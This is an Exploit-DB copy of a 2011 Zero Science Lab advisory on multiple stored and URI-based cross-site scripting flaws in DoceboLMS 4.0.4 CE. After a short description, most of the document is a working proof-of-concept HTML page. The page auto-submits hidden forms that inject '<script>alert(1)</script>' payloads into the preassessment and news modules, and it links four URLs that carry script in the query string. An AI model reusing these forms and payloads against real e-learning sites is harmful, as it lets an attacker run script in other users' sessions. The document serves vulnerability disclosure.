DoceboLMS 4.0.4 - Multiple Stored XSS Vulnerabilities



EDB-ID: 17110 CVE: N/A OSVDB-ID: 71455
Author: LiquidWorm Published: 2011-04-04 Verified: Not Verified
Exploit Code:   Download Vulnerable App:   N/A

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DoceboLMS 4.0.4 Multiple Stored XSS Vulnerabilities


Vendor: Docebo
Product web page: http://www.docebo.org
Affected version: 4.0.4 CE

Summary: DoceboLMS is a SCORM compliant Open Source e-Learning
platform used in corporate, government and education markets.

Desc: DoceboLMS suffers from multiple stored XSS vulnerabilities
pre and post auth. Input thru the POST parameters 'name', 'code'
and 'title' in index.php is not sanitized allowing the attacker
to execute HTML code into user's browser session on the affected
site. URI based XSS vulnerabilities are also present.

Tested on: Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.14 (Win32)
           PHP 5.3.1
           MySQL 5.1.41

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            liquidworm gmail com


Advisory ID: ZSL-2011-5006
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5006.php


02.04.2011

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<html>
<title>DoceboLMS 4.0.4 Multiple Stored XSS Vulnerabilities</title>
<body bgcolor="#1C1C1C">
<script type="text/javascript">
function xss1(){document.forms["xss1"].submit();}
function xss2(){document.forms["xss2"].submit();}
</script>

<br /><br />

<form action="http://localhost/DoceboLMS_404/doceboCore/index.php?modname=preassessment&op=modassessment" enctype="application/x-www-form-urlencoded" method="POST" id="xss1">
<input type="hidden" name="authentic_request" value="23dfee506a748201730ab2bb7486e77a" />
<input type="hidden" name="code" value='"><script>alert(1)</script>' />
<input type="hidden" name="description" value="ZSL" />
<input type="hidden" name="id_assess" value="0" />
<input type="hidden" name="name" value='"><script>alert(2)</script>' />
<input type="hidden" name="save" value="Save changes" /></form>
<a href="javascript: xss1();" style="text-decoration:none">
<b><font color="red"><center><h3>Exploit PreAssessment Module!</h3></center></font></b></a><br /><br />

<form action="http://localhost/DoceboLMS_404/doceboCore/index.php?modname=news&op=savenews" enctype="application/x-www-form-urlencoded" method="POST" id="xss2">
<input type="hidden" name="authentic_request" value="23dfee506a748201730ab2bb7486e77a" />
<input type="hidden" name="language" value="2" />
<input type="hidden" name="long_desc" value="" />
<input type="hidden" name="news" value="Insert" />
<input type="hidden" name="short_desc" value="ZSL" />
<input type="hidden" name="title" value='"><script>alert(1)</script>' /></form>
<a href="javascript: xss2();" style="text-decoration:none">
<b><font color="red"><center><h3>Exploit News Module!</h3></center></font></b></a><br /><br />

<a href="http://localhost/DoceboLMS_404/index.php?<script>alert(1)</script>" style="text-decoration:none">
<b><font color="red"><center><h3>Exploit URI XSS #1</h3></center></font></b></a><br /><br />

<a href="http://localhost/DoceboLMS_404/?<script>alert(1)</script>" style="text-decoration:none">
<b><font color="red"><center><h3>Exploit URI XSS #2</h3></center></font></b></a><br /><br />

<a href="http://localhost/DoceboLMS_404/docebolms/index.php/index.php?<script>alert(1)</script>" style="text-decoration:none">
<b><font color="red"><center><h3>Exploit URI XSS #3</h3></center></font></b></a><br /><br />

<a href="http://localhost/DoceboLMS_404/docebolms/?<script>alert(1)</script>" style="text-decoration:none">
<b><font color="red"><center><h3>Exploit URI XSS #4</h3></center></font></b></a><br /><br />

</body></html>